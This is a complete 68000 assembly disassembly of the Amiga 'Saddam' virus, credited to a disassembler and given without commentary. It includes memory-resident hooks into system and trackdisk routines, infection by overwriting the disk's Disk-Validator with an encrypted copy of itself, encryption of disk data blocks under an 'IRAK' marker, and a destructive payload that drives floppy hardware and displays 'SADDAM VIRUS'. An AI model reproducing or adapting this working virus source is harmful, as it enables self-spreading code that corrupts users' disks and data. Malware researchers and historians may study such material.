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- ;Saddam-Virus disassembled by Doc/Majic 12
-
- AFLINE macro
- dc.w \1
- endm
- **********************************************************************
- OR.B #$C5,D0
- lbC000002 EQU *-2
- BRA.S lbC00000A
-
- lbC000006 OR.B #$25,D0
- lbB000008 EQU *-2
- lbC00000A MOVEM.L D0-D7/A0-A6,-(SP)
-
- ; LEA lbC000022(PC),A0 ;Decrypt-header
- ; MOVEQ #-$6D,D0
- ; MOVE.W #$6C1,D1
- ; lbC000018 EOR.B D0,(A0)+
- ; SUBQ.L #2,D0
- ; DBRA D1,lbC000018
-
- RTS
-
- lbC000022 MOVE.L 4,A6
- JSR -$78(A6)
- MOVE.L $3A(A6),A2
- BSR lbC00061A
- LSR.W #4,D0
- AND.B #$F8,D0
- SUB.W D0,A2
- SUB.W #$390,A2
- lbC00003E SUB.W #$400,A2
- MOVE.L A2,A1
- MOVE.L #$790,D0
- JSR -$CC(A6)
- TST.L D0
- BEQ.S lbC00003E
- LEA lbC000002(PC),A0
- MOVE.L A2,A1
- PEA $64(A1)
- MOVE.L #$714,D0
- JMP -$276(A6)
-
- BSR.S lbC0000A2
- BSR lbC0000EA
- LEA *+$6D2(PC),A0
- MOVE.L #$1770,(A0)+
- CLR.L (A0)+
- CLR.L (A0)+
- MOVE.W #$FFFF,(A0)
- MOVEM.L (SP),D0-D7/A0-A6
- LSL.L #2,D1
- MOVE.L D1,A0
- MOVE.L 12(A0),A0
- MOVE.L $1B0(A0),A0
- MOVE.L $10(A0),A0
- MOVE.L -4(A0),A0
- MOVE.L 14(A0),A0
- CLR.L (A0)
- MOVEM.L (SP)+,D0-D7/A0-A6
- JMP (A6)
-
- lbC0000A2 BSR.S lbC0000FE
- lbC0000A4 LEA lbL00071A(PC),A2
- MOVE.L $90(A6),A0
- MOVE.L (A0),A0
- MOVE.L $12(A0),(A2)+
- PEA lbC0001A8(PC)
- MOVE.L (SP)+,$12(A0)
- BSR.S lbC000126
- MOVE.L -$1C(A1),(A2)+
- PEA lbC0001F0(PC)
- MOVE.L (SP)+,-$1C(A1)
- MOVEQ #$40,D0
- LSL.L #4,D0
- MOVE.L #$10002,D1
- JSR -$C6(A6)
- MOVE.L D0,(A2)+
- LEA $17A(A6),A0
- LEA intuitionlibr.MSG(PC),A1
- JSR -$114(A6)
- MOVE.L D0,(A2)+
- JMP -$7E(A6)
-
- lbC0000EA BSR.S lbC000126
- LEA *+$664(PC),A2
- MOVE.L -10(A1),(A2)+
- PEA lbC000380(PC)
- MOVE.L (SP)+,-10(A1)
- RTS
-
- lbC0000FE LEA myconwrite.MSG(PC),A1
- JSR -$186(A6)
- BNE.S lbC000124
- lbC000108 PEA lbC00013A(PC)
- MOVE.L (SP)+,$2A(A6)
- MOVEQ #$16,D0
- MOVEQ #0,D1
- LEA $22(A6),A0
- lbC000118 ADD.W (A0)+,D1
- DBRA D0,lbC000118
-
- NOT.W D1
- MOVE.W D1,$52(A6)
- lbC000124 RTS
-
- lbC000126 MOVE.L 4,A6
- LEA $15E(A6),A0
- LEA trackdiskdevi.MSG(PC),A1
- JSR -$114(A6)
- MOVE.L D0,A1
- RTS
-
- lbC00013A PEA lbC00014C(PC)
- MOVE.L (SP)+,$2E(A6)
- BSR.S lbC000108
- MOVE.L $3E(A6),A3
- JMP $1E(A5)
-
- lbC00014C LEA lbC000002(PC),A1
- MOVE.L #$790,D0
- JSR -$CC(A6)
- LEA *+$5F2(PC),A0
- MOVE.L -$64(A6),(A0)
- PEA lbC000170(PC)
- MOVE.L (SP)+,-$64(A6)
- CLR.L $2E(A6)
- RTS
-
- lbC000170 MOVEM.L D0-D7/A0-A6,-(SP)
- MOVE.L A1,A2
- LEA strap.MSG(PC),A1
- JSR -$60(A6)
- CMP.L D0,A2
- BNE.S lbC00019E
- MOVE.L *+$5CA(PC),-$64(A6)
- JSR -$78(A6)
- BSR lbC0000A4
- MOVE.L D0,A0
- MOVE.L -$CA(A0),(A2)+
- PEA lbC00047A(PC)
- MOVE.L (SP)+,-$CA(A0)
- lbC00019E MOVEM.L (SP)+,D0-D7/A0-A6
- MOVE.L *+$5AA(PC),-(SP)
- RTS
-
- lbC0001A8 MOVEM.L D0-D7/A0-A6,-(SP)
- MOVE.L lbB000008(PC),D0
- SUB.L #$64,D0
- lbC0001B2 EQU *-4
- BCS.S lbC0001D6
- CMP.L #5,D0
- BCC.S lbC0001CC
- LEA *+$57E(PC),A0
- SUBQ.L #1,(A0)+
- BNE.S lbC0001D6
- MOVE.W #$FFFF,(A0)
- lbC0001CC LEA lbC0001B2(PC),A0
- ADD.L #7,(A0)
- lbC0001D6 BSR lbC000126
- PEA lbC0001F0(PC)
- MOVE.L (SP)+,-$1C(A1)
- BSR lbC0000FE
- MOVEM.L (SP)+,D0-D7/A0-A6
- MOVE.L lbL00071A(PC),-(SP)
- RTS
-
- lbC0001F0 TST.L $2C(A1)
- BEQ lbC000306
- CMP.L #$6E000,$2C(A1)
- BNE.S lbC000264
- CMP.B #3,$1D(A1)
- BEQ.S lbC000240
- CMP.B #2,$1D(A1)
- BNE.S lbC000260
- BSR lbC000320
- MOVE.L $28(A1),A0
- TST.L $13C(A0)
- BNE.S lbC00023E
- MOVE.L $140(A0),$13C(A0)
- CLR.L $140(A0)
- lbC00022A MOVEQ #$7F,D0
- MOVEQ #0,D1
- CLR.L $14(A0)
- lbC000232 ADD.L (A0)+,D1
- DBRA D0,lbC000232
-
- NEG.L D1
- MOVE.L D1,-$1EC(A0)
- lbC00023E RTS
-
- lbC000240 MOVE.L $28(A1),A0
- MOVE.L $138(A0),D0
- NOT.L D0
- BNE.S lbC000260
- MOVE.L $13C(A0),$140(A0)
- CLR.L $13C(A0)
- BSR.S lbC00022A
- LEA *+$4F2(PC),A0
- MOVE.W #$FFFF,(A0)
- lbC000260 BRA lbC00035E
-
- lbC000264 CMP.B #2,$1D(A1)
- BEQ lbC000272
- lbC00026E BRA lbC00035E
-
- lbC000272 BSR lbC000320
- MOVE.L $28(A1),A0
- CMP.W #8,2(A0)
- BEQ.S lbC0002A4
- CMP.L #$4952414B,(A0)
- BEQ.S lbC0002EE
- CMP.W #2,2(A0)
- BNE.S lbC0002A2
- MOVE.L $134(A0),-(SP)
- LEA *+$4AE(PC),A0
- MOVE.W #$FFFF,(A0)+
- MOVE.L (SP)+,(A0)+
- ADDQ.B #1,(A0)
- lbC0002A2 RTS
-
- lbC0002A4 LEA *+$4A0(PC),A0
- TST.W (A0)
- BEQ.S lbC0002A2
- CLR.W (A0)
- MOVE.L $2C(A1),D0
- DIVS #$200,D0
- SUB.L *+$490(PC),D0
- BNE.S lbC0002A2
- BSR lbC000372
- BNE.S lbC0002A2
- MOVE.W *+$488(PC),D0
- BEQ.S lbC0002A2
- MOVE.L $28(A1),A0
- MOVE.L $34(A0),D0
- SUB.L $38(A0),D0
- BEQ.S lbC0002A2
- MOVEQ #$7E,D0
- MOVE.L #$4952414B,(A0)+
- BSR.S lbC0002FA
- PEA lbC0002EE(PC)
- ADDQ.B #1,$1D(A1)
- BSR lbC000364
- BRA.S lbC000320
-
- lbC0002EE MOVEQ #$7E,D0
- MOVE.L $28(A1),A0
- MOVE.L #8,(A0)+
- lbC0002FA MOVE.L $2C(A1),D1
- lbC0002FE EOR.L D1,(A0)+
- DBRA D0,lbC0002FE
-
- RTS
-
- lbC000306 CMP.B #2,$1D(A1)
- BNE lbC00026E
- BSR lbC000372
- BNE.S lbC00035E
- MOVE.W *+$42C(PC),D0
- NOT.W D0
- BEQ lbC0003CC
- lbC000320 MOVEM.L D0-D7/A0-A6,-(SP)
- BSR.S lbC00035E
- MOVE.L $24(SP),A1
- MOVE.L 4,A6
- JSR -$1D4(A6)
- BNE.S lbC000358
- JSR -$78(A6)
- MOVE.L A1,A2
- MOVE.L 14(A2),A0
- MOVE.B 15(A0),D1
- MOVEQ #0,D0
- BSET D1,D0
- lbC000346 CMP.B #7,8(A2)
- BEQ.S lbC000354
- JSR -$13E(A6)
- BRA.S lbC000346
-
- lbC000354 JSR -$7E(A6)
- lbC000358 MOVEM.L (SP)+,D0-D7/A0-A6
- RTS
-
- lbC00035E MOVE.L lbL00071E(PC),-(SP)
- RTS
-
- lbC000364 MOVE.L A1,-(SP)
- MOVE.L $34(A6),A0
- JSR -$FC(A0)
- MOVE.L (SP)+,A1
- RTS
-
- lbC000372 MOVE.L $18(A1),A0
- MOVE.L $126(A0),D0
- TST.B $40(A0)
- RTS
-
- lbC000380 TST.B $1F(A1)
- BNE.S lbC0003C6
- BSR.S lbC000372
- BNE.S lbC0003C6
- LEA *+$3BA(PC),A0
- CLR.W (A0)
- MOVE.L $18(A1),A0
- MOVE.B $43(A0),-(SP)
- BSR.S lbC0003C6
- MOVE.B (SP)+,D0
- MOVEM.L D0-D7/A0-A6,-(SP)
- SUB.L A0,A0
- MOVE.L SP,D5
- SUB.L #$5DC,D5
- BCLR #1,D5
- MOVE.L D5,A1
- MOVE.L $26(A5),A6
- MOVEM.L $2A(A6),A2/A5/A6
- BSR lbC0004C0
- MOVEM.L (SP)+,D0-D7/A0-A6
- MOVEQ #0,D0
- RTS
-
- lbC0003C6 MOVE.L *+$38A(PC),-(SP)
- RTS
-
- lbC0003CC LEA $BFD100,A0
- LEA $DFF000,A4
- MOVE.W #$4000,$9A(A4)
- MOVE.B #$7F,(A0)
- MOVE.B #7,(A0)
- MOVEQ #$50,D1
- lbC0003E8 BSR.S lbC00042E
- DBRA D1,lbC0003E8
-
- MOVE.B #$7F,(A0)
- MOVE.B #5,(A0)
- BSR.S lbC000442
- MOVE.B #$7F,(A0)
- MOVE.B #2,(A0)
- BSR.S lbC000442
- MOVE.W #$20,$96(A4)
- CLR.L $140(A4)
- LEA lbB0006B3(PC),A0
- MOVE.L lbL000726(PC),A6
- MOVEQ #0,D0
- MOVEQ #$3C,D1
- JSR -$5A(A6)
- MOVE.L 4,A6
- NOT.L $26(A6)
- PEA $FC0002
- JMP -$96(A6)
-
- lbC00042E BCLR #0,(A0)
- BSET #0,(A0)
- MOVE.W #$800,D0
- lbC00043A NOP
- DBRA D0,lbC00043A
-
- RTS
-
- lbC000442 MOVEQ #$50,D1
- MOVE.W #$8010,$96(A4)
- lbC00044A CLR.L $24(A4)
- MOVE.W #$9100,$9E(A4)
- MOVE.W #$C180,$24(A4)
- MOVE.W #$C180,$24(A4)
- MOVE.W #2,$9C(A4)
- lbC000466 BTST #1,$1F(A4)
- BEQ.S lbC000466
- CLR.W $24(A4)
- BSR.S lbC00042E
- DBRA D1,lbC00044A
-
- RTS
-
- lbC00047A LEA lbL000736(PC),A5
- MOVE.L -12(A2),(A5)
- PEA lbC000494(PC)
- MOVE.L (SP)+,-12(A2)
- MOVE.L lbL00072A(PC),-$CA(A6)
- JMP -$CC(A6)
-
- lbC000494 MOVE.L lbL000736(PC),A4
- MOVE.L A4,-12(A2)
- MOVEM.L D0-D7/A0-A6,-(SP)
- LSL.L #2,D1
- MOVE.L D1,A0
- TST.L 4(A0)
- BNE.S lbC0004B6
- MOVEQ #0,D0
- BSR.S lbC0004C0
- lbC0004AE MOVE.W *+$29C(PC),D0
- NOT.W D0
- BNE.S lbC0004AE
- lbC0004B6 BSR lbC0000EA
- MOVEM.L (SP)+,D0-D7/A0-A6
- JMP (A4)
-
- lbC0004C0 BSR lbC00063A
- LEA *+$286(PC),A0
- CLR.W (A0)
- LEA DF0.MSG(PC),A2
- ADD.B #$30,D0
- MOVE.B D0,2(A2)
- MOVE.B D0,7(A2)
- MOVE.B D0,13(A2)
- MOVE.L 4,A6
- MOVEQ #$40,D0
- LSL.L #5,D0
- MOVE.L #$10002,D1
- JSR -$C6(A6)
- MOVE.L D0,-(SP)
- SUB.L A1,A1
- JSR -$126(A6)
- LEA lbL00072E(PC),A0
- MOVE.L D0,(A0)
- MOVE.L D0,A0
- MOVEQ #-$1,D0
- MOVE.L D0,$B8(A0)
- MOVE.W #$FFD4,D0
- MOVE.L A2,D1
- MOVEQ #-$2,D2
- BSR lbC000562
- TST.L D1
- BEQ.S lbC00055E
- MOVE.W #$FFC8,D0
- MOVE.L (SP),D2
- MOVE.L D1,-(SP)
- BSR.S lbC000562
- MOVE.L (SP)+,D0
- TST.L D1
- BEQ.S lbC00055E
- MOVE.L D0,D1
- MOVE.W #$1B4,D0
- BSR.S lbC000562
- MOVE.L (SP),A0
- CMP.W #$52,10(A0)
- BNE.S lbC00055E
- MOVEQ #0,D2
- BSR lbC000646
- BEQ.S lbC000566
- MOVE.W #$FFF4,D0
- MOVE.L lbL000732(PC),D1
- MOVE.L (SP),D2
- MOVEQ #$26,D3
- BSR.S lbC000562
- MOVE.L (SP),A0
- MOVE.W $24(A0),D0
- CMP.W lbC000006(PC),D0
- BNE.S lbC000594
- BSR lbC000624
- lbC00055E BRA lbC0005FC
-
- lbC000562 BRA lbC00062C
-
- lbC000566 MOVE.L (SP),A0
- CMP.W #3,$12(A0)
- BCS.S lbC00055E
- CMP.W #$6D8,$12(A0)
- BCC.S lbC00055E
- MOVE.W #$FFC4,D0
- PEA DF0l.MSG(PC)
- MOVE.L (SP)+,D1
- BSR.S lbC000562
- BEQ.S lbC00058C
- MOVE.W #$1B4,D0
- BSR.S lbC000562
- lbC00058C MOVEQ #1,D2
- BSR lbC000646
- BEQ.S lbC00055E
- lbC000594 LEA lbW0006C4(PC),A0
- MOVE.L (SP),A1
- MOVEQ #$1F,D0
- lbC00059C MOVE.B (A0)+,(A1)+
- DBRA D0,lbC00059C
-
- LEA lbC000002(PC),A0
- LEA lbC000022(PC),A2
- LEA BitMapChecksu.MSG(PC),A3
- ADDQ.L #1,6(A0)
- BSR.S lbC00061A
- MOVE.B D0,$13(A0)
- MOVE.W #$713,D1
- lbC0005BC MOVE.B (A0)+,D2
- CMP.L A0,A2
- BGE.S lbC0005CA
- CMP.L A0,A3
- BLT.S lbC0005CA
- EOR.B D0,D2
- SUBQ.L #2,D0
- lbC0005CA MOVE.B D2,(A1)+
- DBRA D1,lbC0005BC
-
- MOVE.L #$3F2,(A1)
- MOVE.W #$FFE0,D0
- MOVE.L lbL000732(PC),D1
- MOVEQ #0,D2
- MOVEQ #-$1,D3
- BSR.S lbC00062C
- MOVE.W #$FFE8,D0
- MOVE.L lbL000732(PC),D1
- MOVE.L (SP),D2
- MOVE.L #$738,D3
- BSR.S lbC00062C
- BSR.S lbC000624
- MOVEQ #0,D0
- BRA.S lbC0005FE
-
- lbC0005FC MOVEQ #-$1,D0
- lbC0005FE LEA *+$14C(PC),A0
- MOVE.W D0,(A0)
- MOVE.L lbL00072E(PC),A0
- CLR.L $B8(A0)
- MOVE.L 4,A6
- MOVE.L (SP)+,A1
- MOVEQ #$40,D0
- LSL.L #5,D0
- JMP -$D2(A6)
-
- lbC00061A MOVEQ #0,D0
- MOVE.B $DFF007,D0
- RTS
-
- lbC000624 MOVE.W #$174,D0
- MOVE.L lbL000732(PC),D1
- lbC00062C MOVEM.L *+$126(PC),A0-A6
- MOVE.L 0(A2,D0.W),A4
- MOVEQ #12,D0
- JSR (A5)
- lbC00063A LEA *+$11A(PC),A4
- MOVEM.L A0-A6,(A4)
- TST.L D1
- RTS
-
- lbC000646 MOVE.W #$FFFC,D0
- PEA DF0lDiskValid.MSG(PC)
- MOVE.L (SP)+,D1
- ADD.W #$3ED,D2
- BSR.S lbC00062C
- LEA lbL000732(PC),A0
- MOVE.L D1,(A0)
- RTS
-
- DF0.MSG dc.b 'DF0:',0
- DF0l.MSG dc.b 'DF0:l',0
- DF0lDiskValid.MSG dc.b 'DF0:l/Disk-Validator',0
- strap.MSG dc.b 'strap',0
- myconwrite.MSG dc.b 'mycon.write',0
- intuitionlibr.MSG dc.b 'intuition.library',0
- trackdiskdevi.MSG dc.b 'trackdisk.device',0
- lbB0006B3 dc.b 1
- dc.b 8
- dc.b $20
- dc.b $53
- dc.b $41
- dc.b $44
- dc.b $44
- dc.b $41
- dc.b $4D
- dc.b $20
- dc.b $56
- dc.b $49
- dc.b $52
- dc.b $55
- dc.b $53
- dc.b 0
- dc.b 0
- lbW0006C4 dc.w 0
- dc.w $3F3
- dc.w 0
- dc.w 0
- dc.w 0
- dc.w 1
- dc.w 0
- dc.w 0
- dc.w 0
- dc.w 0
- dc.w 0
- dc.w $1C5
- dc.w 0
- dc.w $3E9
- dc.w 0
- dc.w $1C5
- BitMapChecksu.MSG dc.b 'BitMap Checksum Error',0,0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b $C6
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b 4
- dc.b 0
- dc.b 0
- dc.b 0
- dc.b $D0
- dc.b 'mT'
- dc.b $12
- dc.b '4'
- lbL00071A dc.l $567800B4
- lbL00071E dc.l $726C5F4C
- dc.l $69624C69
- lbL000726 dc.l $73740000
- lbL00072A dc.l $B6FE00C3
- lbL00072E dc.l $5E62726C
- lbL000732 dc.l $5F4E756D
- lbL000736 dc.l $4C696200
- END
-